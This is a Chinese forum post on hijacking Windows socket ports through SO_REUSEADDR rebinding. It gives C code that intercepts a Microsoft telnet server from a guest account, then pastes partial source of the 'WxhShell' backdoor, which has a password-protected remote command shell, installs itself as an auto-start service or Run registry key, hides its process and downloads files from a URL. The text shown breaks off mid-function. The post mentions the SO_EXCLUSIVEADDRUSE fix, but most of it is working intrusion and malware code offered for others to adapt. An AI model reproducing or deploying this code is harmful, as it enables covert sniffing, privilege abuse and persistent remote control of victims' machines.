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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bHYy}weZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4r#= *  
85$m[+md  
  saddr.sin_family = AF_INET; dr}`H,X"3  
x,+{9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S~bOUdV Z  
.t-4o<7 3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TDKki(o=~  
6Q@j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FaSf7D`C  
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  这意味着什么?意味着可以进行如下的攻击: BwGfTua  
k68T`Ub\W6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'Cfl*iNb  
Wx}8T[A}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %#:{UR)E  
yCR?UH;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WIT>!|w_  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,j{,h_Op  
jl$ece5v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A]0 St@  
K~{$oD7!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o3^l~iT  
`/XY>T}-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QB uMJm  
Ad8n<zt|  
  #include ^7U G$A  
  #include _$Yk M,  
  #include &*,#5.  
  #include    }Yzco52  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i2Qz4 $z  
  int main() YMcD|Kbp  
  { u#$]?($}d  
  WORD wVersionRequested; Y|f[bw  
  DWORD ret; H>IMf/%5N-  
  WSADATA wsaData; ay ;S4c/_  
  BOOL val; u@UMP@"#  
  SOCKADDR_IN saddr; .CABH,Po:  
  SOCKADDR_IN scaddr; VcO0sa f`  
  int err; 61>.vT8P  
  SOCKET s; EStB#V^  
  SOCKET sc; g`' !HGY  
  int caddsize; mbxZL<ua  
  HANDLE mt; C.yQ=\U2  
  DWORD tid;   9gDkTYkj  
  wVersionRequested = MAKEWORD( 2, 2 ); b\kdKVh&  
  err = WSAStartup( wVersionRequested, &wsaData ); D6Ui!  
  if ( err != 0 ) { f!uwzHA`?  
  printf("error!WSAStartup failed!\n"); @[<><uTH  
  return -1; s}9S8@#  
  } b9J_1Gl]  
  saddr.sin_family = AF_INET; R6Km\N  
   z6=Z\P+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uw. `7b>B  
{ ]{/t-=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VU(v3^1"  
  saddr.sin_port = htons(23); QL&ZjSN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]Ji.Zk  
  { v5#j Z$<F  
  printf("error!socket failed!\n"); uM IIYS  
  return -1; ThajHK|U  
  } dO<ERY  
  val = TRUE; qZtzO2Mt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EzM ?Nft  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N=5a54!/  
  { P6-s0]-g  
  printf("error!setsockopt failed!\n"); DS(}<HK{  
  return -1; l'-Bu(  
  } s4y73-J^.v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zm5]J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %~H-)_d20  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?}tFN_X"  
kW Ml  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p Z|V 3  
  { x_N'TjS^{  
  ret=GetLastError(); (l~AV9!m:  
  printf("error!bind failed!\n"); #uG%j  
  return -1; 6$Xzpg(o  
  } WYm\)@  
  listen(s,2); nLZTK&7}  
  while(1) pk$l+sNZ=  
  { SumF  2  
  caddsize = sizeof(scaddr); rxvx  
  //接受连接请求 {l1.2!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KK/tu+"  
  if(sc!=INVALID_SOCKET) 2>xF){`  
  { kzQ+j8.,U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X; \+<LE  
  if(mt==NULL) pHXm>gTd,J  
  { jUYWrYJ  
  printf("Thread Creat Failed!\n"); 45@ I*`  
  break; n?!">G  
  } &WuN&As!Z  
  } HSE!x_$  
  CloseHandle(mt); +ZaSM~   
  } B dj!ia;H  
  closesocket(s); RNEp4x  
  WSACleanup(); T= y}y  
  return 0; ,GbR!j@6  
  }   i/;\7n  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q0`wt.}V2  
  { / |;RV"  
  SOCKET ss = (SOCKET)lpParam; _lJ!R:*  
  SOCKET sc; {Qf=G|Ah  
  unsigned char buf[4096]; H7&8\ FNa  
  SOCKADDR_IN saddr; FF`T\&u  
  long num;  9X+V4xux  
  DWORD val; m{Wu" ;e  
  DWORD ret; Y1W1=Uc uk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K,;E5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~tS Z%q  
  saddr.sin_family = AF_INET; B:yGS*.tu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;s= l52  
  saddr.sin_port = htons(23);  L2[($l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q2w_X8  
  { -n~1C {<  
  printf("error!socket failed!\n"); 5,lEx1{_  
  return -1; hP%M?MKC  
  } y{B=-\O]  
  val = 100; a8e6H30Sm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T9E+\D  
  { Tj` ,Z5vy  
  ret = GetLastError(); "yy5F>0Wt  
  return -1; >-RQ]?^  
  } ~OYiq}g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lBLARz&c#  
  { 'A=^Se`=  
  ret = GetLastError(); t:x\kp  
  return -1; b;B%q$sntC  
  } ~~/|dh5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9IdA%RM~mH  
  { \$~|ZwV{  
  printf("error!socket connect failed!\n"); #K_ii)n  
  closesocket(sc); [B*x-R[FI  
  closesocket(ss); HTv2#  
  return -1; }<0BX\@I  
  } FJ GlP&v<  
  while(1) `!3SF|x&  
  { Zgp4`)}:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Tt`u:ZwhF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6m/r+?'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U/66L+1  
  num = recv(ss,buf,4096,0); 13$%,q)  
  if(num>0) ,B*EVN  
  send(sc,buf,num,0); ) yi E@ X  
  else if(num==0) <Uk}o8E  
  break; P-9)38`5  
  num = recv(sc,buf,4096,0); kr^P6}'  
  if(num>0) z>1Pz(  
  send(ss,buf,num,0); T$)^gHS  
  else if(num==0) xjUT{iwS  
  break; |#v7/$!  
  } u"r`3P`  
  closesocket(ss); D# 9m\o_  
  closesocket(sc); ?um;s-x)  
  return 0 ; wy<S;   
  } !]A  
0I-9nuw,^;  
('4_ xOb  
========================================================== [NjXO`5#]  
TM__I\+Q  
下边附上一个代码,,WXhSHELL 60^`JVGWH  
imhwY#D  
========================================================== M!siK2  
58}U^IW  
#include "stdafx.h" 6IN e@  
U#7#aeI  
#include <stdio.h> p}}R-D&K  
#include <string.h> )W,aN)1)  
#include <windows.h> 5zK4Fraf  
#include <winsock2.h> @(EAq<5{  
#include <winsvc.h> 1SQ3-WU s  
#include <urlmon.h> h6L&\~pf  
t4."/ .=+  
#pragma comment (lib, "Ws2_32.lib") 9R!atPz9  
#pragma comment (lib, "urlmon.lib") 1 fp?  
F$y$'Rzu_B  
#define MAX_USER   100 // 最大客户端连接数 NR$3%0 nC6  
#define BUF_SOCK   200 // sock buffer W 8<&gh+  
#define KEY_BUFF   255 // 输入 buffer kP=eW_0D  
H5/6TX72N  
#define REBOOT     0   // 重启 OR P\b  
#define SHUTDOWN   1   // 关机 9!ngy*\x  
RN1y^`  
#define DEF_PORT   5000 // 监听端口 ].avItg  
r8t}TU>C  
#define REG_LEN     16   // 注册表键长度 j7Yu>cr  
#define SVC_LEN     80   // NT服务名长度 h ]5(].  
Q^P}\wb>  
// 从dll定义API 9 &dtd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S3C]AhW;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )rIwqUgp6\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j.[.1G*("  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % "i(K@  
d(ZO6Nr Q  
// wxhshell配置信息 &N$<e(K  
struct WSCFG { z#9aP&8Q  
  int ws_port;         // 监听端口  h},IF  
  char ws_passstr[REG_LEN]; // 口令 udK%>  
  int ws_autoins;       // 安装标记, 1=yes 0=no X;+sUj8  
  char ws_regname[REG_LEN]; // 注册表键名 %_H<:uGO%  
  char ws_svcname[REG_LEN]; // 服务名 >%_\;svZG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pHGYQ;:L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C$=%!wf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]6,\r"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O0x,lq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mX"oW_EK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4!{KWL`A  
Ot0ap$&  
}; n1ZbRV  
(!u~CZ;  
// default Wxhshell configuration ^cC,.Fdw  
struct WSCFG wscfg={DEF_PORT, ^ 'MT0j  
    "xuhuanlingzhe", c1(RuP:S  
    1, zEX  
    "Wxhshell", LtO!umM  
    "Wxhshell", +yG~T  
            "WxhShell Service", tn\yI!a  
    "Wrsky Windows CmdShell Service", -vo})lO  
    "Please Input Your Password: ", PudS2k_Qv  
  1, vQG5*pR*w  
  "http://www.wrsky.com/wxhshell.exe", 4d4ZT?V[  
  "Wxhshell.exe" *gb*LhgO  
    }; V;VHv=9`o  
3Y4?CM&0v  
// 消息定义模块 94`7a<&ZNL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ](]i 'fE>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [-1^-bb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @}u*|P*  
char *msg_ws_ext="\n\rExit."; *->W^1eGM  
char *msg_ws_end="\n\rQuit."; dA}-]  
char *msg_ws_boot="\n\rReboot..."; x M/+L:_<  
char *msg_ws_poff="\n\rShutdown..."; 'T;P;:!\  
char *msg_ws_down="\n\rSave to "; _IHV7*u{;  
IxN9&xa  
char *msg_ws_err="\n\rErr!"; *\a4wZ6<3  
char *msg_ws_ok="\n\rOK!"; ah$b [\#C  
un"Gozmt5  
char ExeFile[MAX_PATH]; & bm 1Fz  
int nUser = 0; bTNgjc  
HANDLE handles[MAX_USER]; (62"8iD6  
int OsIsNt; w>&aEv/f  
 M mj;-u  
SERVICE_STATUS       serviceStatus; |*eZD-f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8P\G }  
Pl06:g2I  
// 函数声明 se2!N:|R!G  
int Install(void); 1p3z1_wrs  
int Uninstall(void); V*;(kEqj  
int DownloadFile(char *sURL, SOCKET wsh); GT.,  
int Boot(int flag); ;6 D@A  
void HideProc(void); ea2ayT  
int GetOsVer(void); 9Q^r O26+  
int Wxhshell(SOCKET wsl); wo{gG?B  
void TalkWithClient(void *cs); `:fZ)$sY  
int CmdShell(SOCKET sock); A1$TXr  
int StartFromService(void); ] )\Pqn(  
int StartWxhshell(LPSTR lpCmdLine); \~mT] '5  
LKB$,pR~1l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \;,+   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oc0a77@  
U[-o> W#  
// 数据结构和表定义 9MJG;+B~  
SERVICE_TABLE_ENTRY DispatchTable[] = 2%Ri,4SRb  
{ oG?Xk%7&\  
{wscfg.ws_svcname, NTServiceMain}, _Kf%\xg  
{NULL, NULL} 9wUkh}s  
}; <?.&^|kS  
!;v|'I  
// 自我安装 yjX9oxhtL  
int Install(void) (_]~wi-,  
{ a(X@Q8l:  
  char svExeFile[MAX_PATH]; `UyG_;  
  HKEY key; '3tCH)s  
  strcpy(svExeFile,ExeFile); FIhk@TKa  
!sP {gi#=  
// 如果是win9x系统,修改注册表设为自启动 wH&!W~M  
if(!OsIsNt) { *I.f1lz%*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k@J&IJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >z>!Luw  
  RegCloseKey(key); '3fu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s?}e^/"v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H[$"+&q  
  RegCloseKey(key); ;7V%#-  
  return 0; L|7R9+ZG  
    } c ( C%Hld  
  } C`9+6T  
} I-*S&SiXjI  
else { #&aqKV Y  
6,"Q=9k4[  
// 如果是NT以上系统,安装为系统服务 OX!tsARC@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n5NsmVW\x  
if (schSCManager!=0) hd<c&7|G'  
{ -<!NXm|kvz  
  SC_HANDLE schService = CreateService }B+C~@j  
  ( j{A y\n(  
  schSCManager, "Ac-tzhE  
  wscfg.ws_svcname, DV-d(@`K  
  wscfg.ws_svcdisp, dn+KH+v  
  SERVICE_ALL_ACCESS, }<SQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E6ElNgL  
  SERVICE_AUTO_START, K=k"a  
  SERVICE_ERROR_NORMAL, n M*%o-  
  svExeFile, }2.`N%[  
  NULL, /nNN,hz  
  NULL, Qn.om=KDs@  
  NULL, PiIpnoM  
  NULL, 2r?G6D|  
  NULL K7:)nv E  
  ); WPMSm<[  
  if (schService!=0) )9`qG:b'  
  { l<LI7Z]A  
  CloseServiceHandle(schService); h(_57O:  
  CloseServiceHandle(schSCManager); ;:g@zAV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'Aq{UGN  
  strcat(svExeFile,wscfg.ws_svcname); 06Sceq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v%z=ysA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]Ie 0S~  
  RegCloseKey(key); J @1!Oq>  
  return 0; )~JHgl  
    } }rw8PZ9  
  } 6j]0R*B7`Q  
  CloseServiceHandle(schSCManager); ]MitOkX  
} g7`LEF <A  
} <)c)%'v  
k"zv~`i'  
return 1; ??vLUv  
} &.Qrs :U  
'XjZ_ng  
// 自我卸载 dOH &  
int Uninstall(void) |FZ/[9*  
{ @9RM9zK.q  
  HKEY key; {qJ1ko)$  
G@X% +$I  
if(!OsIsNt) { BG]#o| KW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?X<eV1a   
  RegDeleteValue(key,wscfg.ws_regname); Zt{[ *~  
  RegCloseKey(key); L48_96  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hd ={CFip  
  RegDeleteValue(key,wscfg.ws_regname); A[{yCn`tM  
  RegCloseKey(key); ,Ah;A[%?~  
  return 0; FHg 9OI67  
  } {]@= ijjf  
} YZ8>OwQz2  
} 0-Ku7<a  
else { V5>B])yQ  
)' cMYC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O-hAFKx  
if (schSCManager!=0) @:vwb\azVD  
{ `kXs;T6&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y/7\?qfTk  
  if (schService!=0) p%=u#QNi  
  { )}Kf=  
  if(DeleteService(schService)!=0) { #r\4sVg  
  CloseServiceHandle(schService); .|fH y  
  CloseServiceHandle(schSCManager); 4!yzsPJL  
  return 0; `mJ6K&t$<  
  } j>"@,B g*  
  CloseServiceHandle(schService); J<h $ wM  
  } `l[c_%Bm  
  CloseServiceHandle(schSCManager); D'Df JwA  
} v^*K:#<Q!  
} ;'@9[N9  
0=1T.4+=  
return 1; m&,(Jla  
} `d`T*_  
^Y \"}D  
// 从指定url下载文件 d^ 8ZeC#  
int DownloadFile(char *sURL, SOCKET wsh) N<VJ(20y  
{ y??XIsF  
  HRESULT hr; \X D6 pr@  
char seps[]= "/"; d/kv|$XW  
char *token; ndMA-`Ny,  
char *file; dkTX  
char myURL[MAX_PATH]; &n:.k}/P  
char myFILE[MAX_PATH]; =-n}[Y}A  
U!\.]jfS  
strcpy(myURL,sURL); 9qzHS~l  
  token=strtok(myURL,seps); 0 /U{p,r6`  
  while(token!=NULL) Kis"L(C  
  { h3 }OX{k  
    file=token; ?%[@Qb=2  
  token=strtok(NULL,seps); '7 @zGk##(  
  } Lnl=.z`jK  
T:yE(OBf  
GetCurrentDirectory(MAX_PATH,myFILE); Eo]xNn/g  
strcat(myFILE, "\\"); v PG},m~-  
strcat(myFILE, file); hhc,uJ">!  
  send(wsh,myFILE,strlen(myFILE),0); R-d:j^:f  
send(wsh,"...",3,0); V {ddr:]4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u\;C;I-? '  
  if(hr==S_OK) YUy0!`!`  
return 0; F{;((VboN  
else +VOK%8,p  
return 1; BUXpC xQ  
JP [K;/  
} y}ev ,j  
c4eBt))}V  
// 系统电源模块 T+H!_ky`A  
int Boot(int flag) .4!=p*Y  
{ `Eo.v#<  
  HANDLE hToken; J}K$(;:  
  TOKEN_PRIVILEGES tkp; n9ej7oj  
\\;jw[P0  
  if(OsIsNt) { ^8N}9a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hT+_(>hT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GH$pKB  
    tkp.PrivilegeCount = 1; R8Fv{7]c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #?- wm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q sCheHP  
if(flag==REBOOT) { B*Dz{a^.:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oQ[f,7u  
  return 0; G3Aes TT|  
} v;D~Pa  
else { ?J >  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7?w*]  
  return 0; 6q.Uhe_B  
} d S V8q ,D  
  } E""bTz@  
  else { F0Yd@Lk$_  
if(flag==REBOOT) { *#+An<iT ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z[qDkL  
  return 0; 3 {sVVq5Y  
} T'Dv.h  
else { [2 M'PT3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T%*D~=fQ'  
  return 0; ]2qo+yB  
} uiR8,H9*M  
} 07{)?1cod4  
7a<DKB  
return 1; Fd9 [pU  
} 0*{%=M  
)|# sfHv7  
// win9x进程隐藏模块 k!'a,R:  
void HideProc(void) ,/|T-Ka  
{ m#\ dSl}  
bq0zxg%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )irEM  
  if ( hKernel != NULL ) 'YSHi\z ](  
  { z9Rp`z&`E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3eQ&F~S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `*1p0~cu  
    FreeLibrary(hKernel); p>8D;#Hm L  
  } 0{-q#/  
NyNXP_8  
return; ' %o#q6O  
} WX3-\Y5E  
"87:?v[[1  
// 获取操作系统版本 WOL:IZX%  
int GetOsVer(void) sdw(R#GE  
{ =]0&i]z[.  
  OSVERSIONINFO winfo; v0.#Sl-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); > /caXvS  
  GetVersionEx(&winfo); )bscBj@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3AN/ H  
  return 1; XUuN )i  
  else |Ds1  
  return 0; -m~#Bq  
} PALc;"]O  
oe-\ozJ0  
// 客户端句柄模块 aO4?m+  
int Wxhshell(SOCKET wsl) .3Oap*X  
{ f9{Rb/l!BQ  
  SOCKET wsh; T1=fNF  
  struct sockaddr_in client; Z4 =GMXj  
  DWORD myID; 1o{Mck  
2`=7_v  
  while(nUser<MAX_USER) _KAQ}G3  
{ ]Er$*7f  
  int nSize=sizeof(client); ;>7De8v@@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0YDR1dO(*  
  if(wsh==INVALID_SOCKET) return 1; w~qT1vCCN  
Vs!Nmv`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .eVG:tl\  
if(handles[nUser]==0) t;\Y{`  
  closesocket(wsh); XU(eEnmo m  
else 4@ai6,<  
  nUser++; o0KL5].  
  } ##"HF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Oxd]y1  
2g! +<YZ~  
  return 0; j|#Bo:2km  
} 9p(. A$  
,Ko!$29[  
// 关闭 socket H"WprHe  
void CloseIt(SOCKET wsh) hkQ"OsU  
{ XlR@pr6tw  
closesocket(wsh); tK\~A,=  
nUser--; E hMNap}5"  
ExitThread(0); '/s)%bc  
} Jdj4\j u  
[Z$[rOF  
// 客户端请求句柄 #S"nF@   
void TalkWithClient(void *cs) o&$A]ph8X  
{ ?.BC#S)q1  
p0vVkdd  
  SOCKET wsh=(SOCKET)cs; c5GuM|*7  
  char pwd[SVC_LEN]; :"/d|i`T  
  char cmd[KEY_BUFF]; G" "ZI$`  
char chr[1]; f%}xO+.s  
int i,j; R8'RA%O9J  
(<C3Vts))  
  while (nUser < MAX_USER) { P/_['7  
E r?&Y,o  
if(wscfg.ws_passstr) { %1+4_g9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Z' ?LV<t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c{w2Gt!  
  //ZeroMemory(pwd,KEY_BUFF); qlPT Ll  
      i=0; 0LJv'  
  while(i<SVC_LEN) { FU4L6n  
'^UI,"Ti  
  // 设置超时 )l DD\J7  
  fd_set FdRead; IjnU?Bf  
  struct timeval TimeOut; d/~9&wLSb  
  FD_ZERO(&FdRead); .%  
  FD_SET(wsh,&FdRead); z~s PXGb  
  TimeOut.tv_sec=8; 13x p_j  
  TimeOut.tv_usec=0; `VguQl_,gA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Otn1wBI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =@~Y12o?%  
'}Z<h?9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' S/gmn  
  pwd=chr[0]; fe_5LC"  
  if(chr[0]==0xd || chr[0]==0xa) { 3%b6{ie/=  
  pwd=0; GnJt0{  
  break; G]&qx`TBK  
  } }Jj}%XxKs  
  i++; nAlQ7 '  
    } + mT_QsLEv  
|+D!= :x  
  // 如果是非法用户,关闭 socket a9Zq{Ysj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FfT`;j  
} .8JTe 0  
88$8d>-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5\VWCI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c@L< Z`u  
U|R_OLWAg  
while(1) { H0vfUF53l  
8Z=R)asGS  
  ZeroMemory(cmd,KEY_BUFF); |M;7>'YNC*  
=[7Av>  
      // 自动支持客户端 telnet标准   8zW2zkv2|#  
  j=0; =41?^1\  
  while(j<KEY_BUFF) { <lJ345Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l9Q- iJ  
  cmd[j]=chr[0]; ~})e?q;b  
  if(chr[0]==0xa || chr[0]==0xd) { (X*^dO  
  cmd[j]=0; M kXmA`cP  
  break; Y(Hs#Kn{  
  } 'PW5ux@`<  
  j++; ")p\q:z6  
    } Z6MO^_m2  
!0<,@v"  
  // 下载文件 >uEzw4w  
  if(strstr(cmd,"http://")) { IO<6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ="l/klYV  
  if(DownloadFile(cmd,wsh)) b^vQpiz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) Hr`M B  
  else YKK*ER0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XfIJ4ZM5  
  } Ar#(psU  
  else { Y"$xX8o  
b4Ekqas  
    switch(cmd[0]) { 6[AL|d DK  
  S~G ]~gt  
  // 帮助 q{x8_E!L  
  case '?': { jT;;/Fd3/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :e+jU5;]3  
    break; <<O$ G7c  
  } .O<obq~;C  
  // 安装 9_h[bBx-'Q  
  case 'i': { ZXPX,~ 5o  
    if(Install()) p!AAFmc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o.`5D%}i  
    else sU^1wB Rj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Y m2/3!  
    break; v4 E}D  
    } 6Q5^>\Y  
  // 卸载 0jWVp- y  
  case 'r': { Bk{]g=DO  
    if(Uninstall()) -m#)B~)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SUK?z!f <i  
    else lPAQ3t!,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SSzIih@u  
    break; :\_ 5oVb  
    } Qn2&nD%zi  
  // 显示 wxhshell 所在路径 buHJB*?9  
  case 'p': { $3kH~3{]  
    char svExeFile[MAX_PATH]; 7F~X,Dk_  
    strcpy(svExeFile,"\n\r"); <9b &<K:  
      strcat(svExeFile,ExeFile); es0hm2HT3  
        send(wsh,svExeFile,strlen(svExeFile),0); sV*H`N')S  
    break; *lJxH8\  
    } u:  
  // 重启 ;722\y(Y  
  case 'b': { z\4.Gm-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +1!ia]  
    if(Boot(REBOOT)) >+T)#.wo&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f* wx<  
    else { fI|$K )K  
    closesocket(wsh); p5*jzQ  
    ExitThread(0); b| (: [nB  
    } |JsZJ9W+J  
    break; Y}KNKO;  
    } `kSZX:=};  
  // 关机 &uVnZ@o42  
  case 'd': { RT8 ?7xFc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5#z1bu  
